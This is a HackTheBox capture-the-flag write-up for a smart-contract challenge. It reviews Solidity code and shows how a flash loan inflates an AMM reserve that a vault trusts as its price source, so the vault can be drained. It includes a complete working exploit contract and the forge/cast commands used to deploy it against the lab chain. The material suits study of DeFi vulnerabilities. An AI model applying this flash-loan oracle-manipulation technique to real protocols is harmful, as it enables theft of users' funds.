HTB - Caldrin's Day Away

EasyHackTheBox10 min read

Scenario

On a random morning, Caldrin Vowmark leaves his chapel desk to escape royal seals, buy bread, and enjoy a quiet walk through the market. But the quay is already restless. Sailors argue over claim-marks, merchants blame bad luck, and a smiling broker named Verrin Goldhand moves through the crowd, calming people with soft words about patience and fortune.

Caldrin follows the noise to a small dockside Sharehouse, where sailors leave coin, salt, and trade goods before long voyages. In return, they receive claim-marks they can exchange when they return. Lately, a few visitors have arrived with modest bundles and come back soon after to collect far more than expected. The keepers call it luck from the sea, but Caldrin notices the same pale wax on every suspicious claim. Before he leaves, he finds one of those pale-waxed marks has been sent onward to a larger Sharehouse in the old quarter.


Challenge Overview

The challenge spins up a private chain with six deployed contracts:

text
Setup.sol
├── TradeToken.sol        (x2 instances: crownCoin "CROWN", saltGoods "SALT")
├── DocksideMarket.sol    (a fee-less constant-product AMM: CROWN <-> SALT)
├── GoldhandCredit.sol    (a single-block flash-loan facility for CROWN)
├── PublicStampDesk.sol   (a keeper-gated "oracle relay" that replays approved calls)
└── DocksideSharehouse.sol (the vault we need to drain)

Win condition (Setup.isSolved()):

solidity
function isSolved() external view returns (bool) {
    return crownCoin.balanceOf(address(sharehouse)) < SOLVE_THRESHOLD; // 150_000e6
}

The sharehouse starts holding 1_000_000e6 real CROWN. We need to drain more than 850_000e6 of it out to a wallet we control.

Code Review

DocksideSharehouse — the vault

solidity
mapping(address => uint256) public claimMarks;
uint256 public totalClaimMarks;
uint256 public recordedHoldings;

function leaveGoods(uint256 crownCoinAmount) external returns (uint256 claimMarkAmount) {
    ...
    claimMarkAmount = (crownCoinAmount * totalClaimMarks) / recordedHoldings;
    ...
    crownCoin.transferFrom(msg.sender, address(this), crownCoinAmount);
    claimMarks[msg.sender] += claimMarkAmount;
    totalClaimMarks += claimMarkAmount;
    recordedHoldings += crownCoinAmount;
}

function redeemClaim(uint256 claimMarkAmount) external {
    ...
    uint256 crownCoinAmount = (claimMarkAmount * recordedHoldings) / totalClaimMarks;
    claimMarks[msg.sender] -= claimMarkAmount;
    totalClaimMarks -= claimMarkAmount;
    crownCoin.transfer(msg.sender, crownCoinAmount);
}

function recountHoldings(bytes calldata stampedOrder) external {
    bytes memory result = stampDesk.readStampedOrder(stampedOrder);
    uint256 newHoldings = abi.decode(result, (uint256));
    recordedHoldings = newHoldings;   // <-- fully trusts external "oracle" read
}

This is a textbook ERC-4626-style vault: totalClaimMarks = shares, recordedHoldings = "assets under management" used to price both deposits and withdrawals.

Key observation: recordedHoldings is not the real crownCoin.balanceOf(sharehouse). It is a cached number that only changes via:

  1. leaveGoods / redeemClaim (which move it in lock-step with real transfers — fine), or
  2. recountHoldings, which blindly accepts whatever stampDesk.readStampedOrder(...) returns and overwrites recordedHoldings with it — no sanity bound, no minimum/maximum, no cooldown.

If we can make readStampedOrder return an arbitrary/inflated number, we can set recordedHoldings to something wildly higher than the vault's real backing, and then redeem shares at that inflated price — a classic "share price / oracle manipulation" vault drain.

Also note leaveGoods has:

solidity
require(goldhandCredit.activeBorrower() == address(0), "LOAN_ACTIVE");

This blocks deposits during a flash loan — but redeemClaim and recountHoldings have no such guard. That asymmetry is exactly what makes the attack ordering work (deposit before the loan, manipulate + redeem during the loan).

PublicStampDesk — the "oracle relay"

solidity
function approveReading(bytes calldata stampedOrder) external onlyKeeper {
    approvedReading[keccak256(stampedOrder)] = true;
}

function readStampedOrder(bytes calldata stampedOrder) external view returns (bytes memory result) {
    (address target, bytes memory callData) = abi.decode(stampedOrder, (address, bytes));
    require(approvedReading[keccak256(stampedOrder)], "STAMP_NOT_ACCEPTED");
    (bool ok, bytes memory returnedData) = target.staticcall(callData);
    require(ok, "READING_FAILED");
    return returnedData;
}

This looks safe at first glance — only a keeper-approved (target, calldata) pair can be replayed, and it's a staticcall so it can't mutate state directly. But the approval is keyed on the static bytes of the call, not on the result of the call. If the target function is a view function whose return value depends on mutable external state (like an AMM reserve), then the approved "reading" is a live window into that state — replayable forever, returning whatever the state currently is.

Setup — what got approved

solidity
constructor() {
    ...
    stampDesk.approveReading(buildPublicRecountOrder());
}

function buildPublicRecountOrder() public view returns (bytes memory) {
    bytes memory callData =
        abi.encodeWithSelector(DocksideMarket.valueCargoAsOneGood.selector, SHAREHOUSE_CARGO_POSITION, int128(0));
    return abi.encode(address(quayMarket), callData);
}

So the one approved "reading" is: call quayMarket.valueCargoAsOneGood(1_000_000e6, 0).

DocksideMarket — the manipulable oracle source

solidity
uint256 public constant TOTAL_CARGO_MARKS = 1_000_000e6; // == totalCargoMarks in market
uint256 public constant SHAREHOUSE_CARGO_POSITION = 1_000_000e6; // == totalCargoMarks too

function valueCargoAsOneGood(uint256 cargoMarkAmount, int128 good) external view returns (uint256) {
    uint256 reserve = good == 0 ? crownReserve : saltReserve;
    return (cargoMarkAmount * reserve) / totalCargoMarks;
}

Since SHAREHOUSE_CARGO_POSITION == totalCargoMarks (both 1_000_000e6), this simplifies to:

text
valueCargoAsOneGood(1_000_000e6, 0) == crownReserve

The approved oracle call literally just returns the market's live CROWN reserve, verbatim. And crownReserve moves freely with every trade() call — a fee-less constant-product swap that anyone can call, with no TWAP, no cooldown, no manipulation resistance whatsoever.

Chain the four contracts together and the vulnerability is:

sharehouse.recordedHoldings can be set, on demand, to the current, single-block-manipulable CROWN reserve of an unrelated AMM — a number completely decoupled from the vault's real token balance.

GoldhandCredit — the amplifier

solidity
function borrowForOneCall(uint256 amount, bytes calldata data) external {
    require(activeBorrower == address(0), "LOAN_ACTIVE");
    uint256 balanceBefore = coin.balanceOf(address(this));
    require(amount <= balanceBefore, "NOT_ENOUGH_COIN");
    coin.transfer(msg.sender, amount);
    activeBorrower = msg.sender;
    IQuayBorrower(msg.sender).onQuayLoan(amount, data);
    activeBorrower = address(0);
    require(coin.balanceOf(address(this)) >= balanceBefore, "DEBT_NOT_RETURNED");
}

A free, uncollateralized single-transaction flash loan of up to 90_000_000e6 CROWN (90x the AMM's own reserve). This gives us all the capital needed to push crownReserve to an arbitrary height for one transaction.

Putting the Attack Together

Reasoning, step by step:

  1. Get some shares at a fair price. takeTravelPurse() is a one-time faucet that mints us 10_000e6 CROWN and credits us the same amount of travelPurseCredit, which is the only thing that lets us call leaveGoods (its "goods" must come from the purse). Deposit the full purse via leaveGoods(10_000e6) while recordedHoldings is still honest (1_000_000e6, matching the real balance). This mints us claim marks proportional to the real backing — no exploit yet, just entry ticket.

    At this point (computed exactly, see §4):

    • our shares = 9_900e18 (~0.99% of the vault)
    • real sharehouse CROWN balance = 1_010_000e6
    • recordedHoldings = 1_010_000e6 (still honest, matches real balance)
  2. Flash-loan the entire GoldhandCredit liquidity (90_000_000e6 CROWN) via borrowForOneCall.

  3. Inside the onQuayLoan callback, dump the entire loan into DocksideMarket (trade(0, 1, amount, 0), CROWN→SALT). This is a one-sided swap that pulls amount CROWN into the pool, so crownReserve jumps from 1_000_000e6 to 1_000_000e6 + amount (≈ 91_000_000e6).

  4. Call sharehouse.recountHoldings(setup.buildPublicRecountOrder()). This replays the already-approved stamp (no new approval needed — approvedReading persists forever) and reads the now-inflated crownReserve, overwriting sharehouse.recordedHoldings with ≈91_000_000e6 — while the vault's actual CROWN balance is still only 1_010_000e6.

  5. Call redeemClaim(ourShares). Payout is computed as shares * recordedHoldings / totalClaimMarks, using the poisoned, inflated recordedHoldings. Our tiny 0.99% share now redeems for the vast majority of the vault's real balance.

    text
    payout = 9_900e18 * 91_000_000e6 / 999_900e18 ≈ 900_990e6 CROWN

    This is paid out of the vault's real balance (1_010_000e6), which comfortably covers it, and leaves the vault with only ~109_009e6 CROWN — below the 150_000e6 solve threshold.

  6. Reverse the swap — sell all the SALT we received back into the market (trade(1, 0, saltOut, 0)). Since the AMM has zero fees, a full round-trip swap of the exact same notional returns (almost) exactly the original CROWN amount, restoring crownReserve back to 1_000_000e6 and giving us back the capital to repay the loan.

  7. Repay the flash loan (crownCoin.transfer(credit, amount)), satisfying DEBT_NOT_RETURNED's >= check.

  8. Sweep whatever CROWN is left in our contract (the ~900_990e6 extracted from the vault, our profit) back to our own wallet.

Net effect: the sharehouse's real CROWN balance dropped from 1_010_000e6 to ~109_000e6 — well under 150_000e6 — flipping isSolved() to true, while we never risked any capital beyond the one-time 10_000e6 faucet (and that came back to us too, embedded in the payout).

Exact Numbers

python
R0 = 1_000_000 * 10**6          # market crownReserve
S0 = 1_000_000 * 10**6          # market saltReserve
totalCargoMarks = 1_000_000 * 10**6
purse = 10_000 * 10**6

recordedHoldings0  = 1_000_000 * 10**6
totalClaimMarks0   = 990_000 * 10**18   # address(0xBEEF)'s pre-seeded claim marks

shares = purse * totalClaimMarks0 // recordedHoldings0
totalClaimMarks1 = totalClaimMarks0 + shares
realBalance = recordedHoldings0 + purse

X = 90_000_000 * 10**6                  # full flash-loan liquidity
newCrownReserve = R0 + X
payout = shares * newCrownReserve // totalClaimMarks1
remaining = realBalance - payout

Results:

ValueAmount
shares minted9_900e18
totalClaimMarks after deposit999_900e18
real sharehouse balance after deposit1_010_000e6
flash-loan size (X)90_000_000e6
manipulated recordedHoldings91_000_000e6
redeem payout900_990.099009e6
sharehouse balance after redeem109_009.900991e6
SOLVE_THRESHOLD150_000e6
Solved?True (109,009 < 150,000)

A round-trip check also confirmed the fee-less AMM returns (within integer-truncation dust) the exact CROWN amount borrowed, so the loan repayment always has ample surplus.

Exploit Contract

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./TradeToken.sol";
import "./DocksideMarket.sol";
import "./DocksideSharehouse.sol";
import "./GoldhandCredit.sol";
import "./PublicStampDesk.sol";
import "./Setup.sol";
import "./IQuayBorrower.sol";

/// @notice Drains DocksideSharehouse by flash-loan-manipulating the market
///         reserve that PublicStampDesk feeds into `recordedHoldings`.
contract Attacker is IQuayBorrower {
    Setup public immutable setup;
    TradeToken public immutable crownCoin;
    TradeToken public immutable saltGoods;
    DocksideMarket public immutable market;
    DocksideSharehouse public immutable sharehouse;
    GoldhandCredit public immutable credit;

    address public owner;

    constructor(address _setup) {
        owner = msg.sender;
        setup = Setup(_setup);
        crownCoin = setup.crownCoin();
        saltGoods = setup.saltGoods();
        market = setup.quayMarket();
        sharehouse = setup.sharehouse();
        credit = setup.goldhandCredit();
    }

    /// @param loanAmount how much CROWN to flash-borrow (use full liquidity,
    ///        90_000_000e6, for max drain)
    function attack(uint256 loanAmount) external {
        require(msg.sender == owner, "not owner");

        // 1. One-time faucet
        setup.takeTravelPurse();

        // 2. Deposit it at the *fair* (unmanipulated) price to mint claim marks
        uint256 purse = crownCoin.balanceOf(address(this));
        crownCoin.approve(address(sharehouse), purse);
        sharehouse.leaveGoods(purse);

        // 3. Approvals for the swaps that will happen inside the flash loan
        crownCoin.approve(address(market), type(uint256).max);
        saltGoods.approve(address(market), type(uint256).max);

        // 4. Flash loan -> triggers onQuayLoan below
        credit.borrowForOneCall(loanAmount, "");

        // 5. Sweep profit back to caller
        uint256 bal = crownCoin.balanceOf(address(this));
        crownCoin.transfer(owner, bal);
    }

    function onQuayLoan(uint256 amount, bytes calldata) external override {
        require(msg.sender == address(credit), "not credit");

        // a) Dump borrowed CROWN into the market -> inflates crownReserve
        uint256 saltOut = market.trade(0, 1, amount, 0);

        // b) Push the inflated reserve into sharehouse.recordedHoldings
        //    via the pre-approved public recount order
        bytes memory order = setup.buildPublicRecountOrder();
        sharehouse.recountHoldings(order);

        // c) Redeem our full share at the now-inflated assets-per-share rate
        uint256 shares = sharehouse.claimMarks(address(this));
        sharehouse.redeemClaim(shares);

        // d) Reverse the swap (no fees -> near-exact round trip) to get
        //    the CROWN back to repay the loan
        market.trade(1, 0, saltOut, 0);

        // e) Repay
        crownCoin.transfer(address(credit), amount);
    }
}

Execution

bash
# Connection info from `nc 154.57.164.75 30731` -> option 1
RPC=http://154.57.164.75:31003/api/88aa6eef-c1d4-43c3-a513-6992248099c9
PK=0xc7e3130084e87d465147f5317a0f2d97088a1d425ee757426205bb89d5535ee6
SETUP=0x54123f6613728543C4B27A8502C4394e062dd89c

# Deploy exploit contract
# NOTE: --constructor-args must be the LAST flag; forge greedily consumes
# every token after it as a constructor argument, otherwise it swallows
# --broadcast as a bogus 2nd constructor arg.
forge create caldrins-day-away/Attacker.sol:Attacker \
  --rpc-url $RPC --private-key $PK --broadcast \
  --constructor-args $SETUP

# Deployed to: 0xe0361258f5bec48f89B4F2156dAa0D6C4936fe97
ATTACKER=0xe0361258f5bec48f89B4F2156dAa0D6C4936fe97

# Fire the attack: borrow the full 90,000,000e6 CROWN flash-loan liquidity
cast send $ATTACKER "attack(uint256)" 90000000000000 \
  --rpc-url $RPC --private-key $PK --gas-limit 30000000

# Confirm the vault is drained below threshold
cast call $SETUP "isSolved()(bool)" --rpc-url $RPC
# -> true

Transaction succeeded (status: 1), and isSolved() returned true. Grabbed the flag from the challenge's netcat menu (option 3):

text
nc 154.57.164.75 30731
> 3
Congratulations!!! Here's your flag: HTB{[REDACTED]}

Root Cause Summary

  • Stale/spoofable oracle: PublicStampDesk approves a call by its static bytes, not its result, and the approved call happens to be a view function whose return value tracks a freely-manipulable AMM reserve. Once approved, it's replayable forever with whatever live (manipulated) state exists at call time.
  • Decoupled accounting: DocksideSharehouse.recordedHoldings is a cached value used to price shares, independent of the vault's actual token balance, and can be overwritten wholesale by anyone via recountHoldings with no sanity checks, cooldowns, or bounds.
  • Asymmetric reentrancy guard: leaveGoods blocks deposits during an active flash loan, but redeemClaim and recountHoldings have no such guard — enabling the "deposit cheap, manipulate, redeem rich" sequence entirely within one attacker-controlled transaction.
  • Free capital: GoldhandCredit's uncollateralized, single-call flash loan supplies far more capital than the AMM's own reserves, making the price manipulation trivially large relative to the vault's real backing.